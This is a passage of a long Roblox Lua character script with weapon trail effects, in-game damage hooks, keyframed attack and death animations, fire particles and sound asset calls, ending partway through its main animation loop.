  4353. Trail.BottomSurface = 0
  4354. Trail.formFactor = "Custom"
  4355. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4356. local ms = Instance.new("BlockMesh",Trail)
  4357. ms.Scale = Vector3.new(1,1,1)
  4358. local TM = Instance.new("CylinderMesh",Trail)
  4359. TM.Scale = Vector3.new(1,1,1)
  4360. Old = New
  4361. coroutine.wrap(function()
  4362. for i = 1,0,-0.1 do
  4363. wait()
  4364. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4365. end
  4366. Trail:remove()
  4367. end)()
  4368. coroutine.wrap(function()
  4369. for i = 1,10 do
  4370. wait()
  4371. Trail.Transparency = Trail.Transparency +0.1
  4372. end end)()end end)()
  4373. coroutine.wrap(function()
  4374. local Old = Handle.CFrame.p
  4375. while wait()do
  4376. if not TrailDeb then break end
  4377. local New = Handle.CFrame.p
  4378. local Mag =(Old -New).magnitude
  4379. local Dis =(Old +New)/2
  4380. local Trail = Instance.new("Part",Character)
  4381. Trail.Material = "Neon"
  4382. Trail.Anchored = true
  4383. Trail.CanCollide = false
  4384. Trail.BrickColor = TorsoColor
  4385. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4386. Trail.TopSurface = 0
  4387. Trail.BottomSurface = 0
  4388. Trail.formFactor = "Custom"
  4389. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4390. local ms = Instance.new("BlockMesh",Trail)
  4391. ms.Scale = Vector3.new(1,1,1)
  4392. local TM = Instance.new("CylinderMesh",Trail)
  4393. TM.Scale = Vector3.new(1,1,1)
  4394. Old = New
  4395. coroutine.wrap(function()
  4396. for i = 1,0,-0.1 do
  4397. wait()
  4398. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4399. end
  4400. Trail:remove()
  4401. end)()
  4402. coroutine.wrap(function()
  4403. for i = 1,10 do
  4404. wait()
  4405. Trail.Transparency = Trail.Transparency +0.1
  4406. end end)()end end)()
  4407. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(30,50),"Normal",RootPart,1.2,11) end)
  4408. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(30,50),"Normal",RootPart,1.2,11) end)
  4409. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4410. for i=0,1,0.08 do
  4411. swait()
  4412. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4413. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4414. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4415. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4416. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4417. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4418. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4419. end
  4420. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4421. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4422. for i=0,1,0.08 do
  4423. swait()
  4424. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4425. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4426. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4427. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4428. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4429. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4430. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4431. end
  4432. --dmgstop()
  4433. attack=false
  4434. con1:disconnect()
  4435. con2:disconnect()
  4436. if TrailDeb == true then
  4437. TrailDeb = false
  4438. end
  4439. end
  4440.  
  4441. function Hai()
  4442. attack=true
  4443. Humanoid.WalkSpeed=0
  4444. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4445. for i=0,1,0.1 do
  4446. swait()
  4447. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4448. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4449. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4450. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4451. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4452. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4453. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4454. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4455. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4456. end
  4457. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4458. for i=0,1,0.1 do
  4459. swait()
  4460. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4461. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4462. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4463. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4464. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4465. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4466. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4467. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4468. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4469. end
  4470. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4471. for i=0,1,0.1 do
  4472. swait()
  4473. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4474. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4475. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4476. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4477. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4478. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4479. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4480. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4481. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4482.  
  4483. end
  4484. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4485. for i=0,1,0.1 do
  4486. swait()
  4487. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4488. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4489. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4490. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4491. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4492. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4493. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4494. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4495. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4496. end
  4497. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4498. for i=0,1,0.1 do
  4499. swait()
  4500. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4501. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4502. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4503. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4504. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4505. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4506. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4507. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4508. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4509. end
  4510. --dmgstop()
  4511. Humanoid.WalkSpeed=15
  4512. attack=false
  4513. end
  4514.  
  4515. function Die()
  4516. attack=true
  4517. Footsteps:Stop()
  4518. Footsteps2:Stop()
  4519. local Fire = it("Sound",Character.Torso)
  4520. Fire.SoundId = "rbxassetid://192104941"
  4521. Fire.Looped = true
  4522. Fire.Pitch = 1
  4523. Fire.Volume = 1
  4524. local Fire2 = it("Sound",Handle2)
  4525. Fire2.SoundId = "rbxassetid://192104941"
  4526. Fire2.Looped = true
  4527. Fire2.Pitch = 1
  4528. Fire2.Volume = 1
  4529. local Fire3 = it("Sound",Handle)
  4530. Fire3.SoundId = "rbxassetid://192104941"
  4531. Fire3.Looped = true
  4532. Fire3.Pitch = 1
  4533. Fire3.Volume = 1
  4534. local Fire4 = it("Sound",handle)
  4535. Fire4.SoundId = "rbxassetid://192104941"
  4536. Fire4.Looped = true
  4537. Fire4.Pitch = 1
  4538. Fire4.Volume = 1
  4539. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4540. fire.Lifetime = NumberRange.new(0.5)
  4541. fire.Speed = NumberRange.new(1, 3)
  4542. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4543. fire.Rate = 0
  4544. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4545. fire.LightEmission = 0.6
  4546. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4547. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4548. local fire2 = Instance.new("ParticleEmitter", Handle)
  4549. fire2.Lifetime = NumberRange.new(0.5)
  4550. fire2.Speed = NumberRange.new(1, 3)
  4551. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4552. fire2.Rate = 0
  4553. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4554. fire2.LightEmission = 0.6
  4555. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4556. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4557. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4558. fire3.Lifetime = NumberRange.new(0.5)
  4559. fire3.Speed = NumberRange.new(1, 3)
  4560. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4561. fire3.Rate = 0
  4562. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4563. fire3.LightEmission = 0.6
  4564. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4565. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4566. local fire4 = Instance.new("ParticleEmitter", handle)
  4567. fire4.Lifetime = NumberRange.new(0.5)
  4568. fire4.Speed = NumberRange.new(1, 3)
  4569. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4570. fire4.Rate = 0
  4571. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4572. fire4.LightEmission = 0.6
  4573. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4574. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4575. Humanoid.WalkSpeed = 0
  4576. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4577. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4578. for i=0,1,0.08 do
  4579. swait()
  4580. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4581. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4582. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4583. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4584. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4585. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4586. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4587. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4588. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4589. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4590. end
  4591. for i=0,1,0.005 do
  4592. swait()
  4593. light.Range=15-10*i
  4594. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4595. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4596. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4597. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4598. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4599. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4600. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4601. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4602. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4603. end
  4604. light.Range=0
  4605. for i=0,1,0.01 do
  4606. swait()
  4607. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4608. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4609. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4610. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4611. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4612. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4613. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4614. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4615. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4616. end
  4617. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4618. fire.Rate = 1000
  4619. fire2.Rate = 1000
  4620. fire3.Rate = 1000
  4621. fire4.Rate = 1000
  4622. Fire:Play()
  4623. Fire2:Play()
  4624. Fire3:Play()
  4625. Fire4:Play()
  4626. for i=0,1,0.005 do
  4627. swait()
  4628. Character.Head.face.Transparency = 0+1*i
  4629. LeftArm.Transparency=0+1*i
  4630. RightArm.Transparency=0+1*i
  4631. LeftLeg.Transparency=0+1*i
  4632. RightLeg.Transparency=0+1*i
  4633. Head.Transparency=0+1*i
  4634. Torso.Transparency=0+1*i
  4635. for _,v in pairs(Character:children()) do
  4636. if v:IsA("Hat") then
  4637. v.Handle.Transparency = 0+1*i
  4638. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4639. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4640. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4641. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4642. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4643. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4644. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4645. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4646. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4647. end
  4648. end
  4649. --dmgstop()
  4650. end
  4651. Humanoid.Health = 0
  4652. end
  4653.  
  4654. equipanim()
  4655.  
  4656. local sine = 0
  4657. local change = 1
  4658. local val = 0
  4659.  
  4660. local mananum=0
  4661. while true do
  4662. swait()
  4663. sine = sine + change
  4664. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4665. local velderp=RootPart.Velocity.y
  4666. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4667. if equipped==true or equipped==false then
  4668. if Anim=="Idle" and attack==false then
  4669. idle=idle+1
  4670. else
  4671. idle=0
  4672. end
  4673. if Humanoid.Health <=20 then
  4674. if attack == false then
  4675. Humanoid.Health = math.huge
  4676. Die()
  4677. end
  4678. end
  4679. if idle>=1000 then
  4680. if attack==false then
  4681. --Sheath()
  4682. end
  4683. end
  4684. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4685. Anim="Jump"
  4686. if attack==false then
  4687. Footsteps:Stop()
  4688. Footsteps2:Stop()
  4689. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4690. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4691. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4692. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4693. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4694. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4695. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4696. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4697. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4698. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4699. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4700. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4701. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4702. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4703. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4704. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4705. end
  4706. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4707. Anim="Fall"
  4708. if attack==false then
  4709. Footsteps:Stop()
  4710. Footsteps2:Stop()
  4711. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4712. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4713. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4714. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4715. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4716. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4717. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4718. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4719. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4720. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4721. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4722. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4723. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4724. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4725. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4726. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4727. end
  4728. elseif torvel<1 and hitfloor~=nil then
  4729. Anim="Idle"
  4730. change=0.5
  4731. if idle>=1000 then
  4732. if attack==false then
  4733. Footsteps:Stop()
  4734. Footsteps2:Stop()
  4735. Humanoid.WalkSpeed=12
  4736. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4737. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4738. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4739. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4740. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4741. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4742. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4743. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4744. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4745. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4746. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4747. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
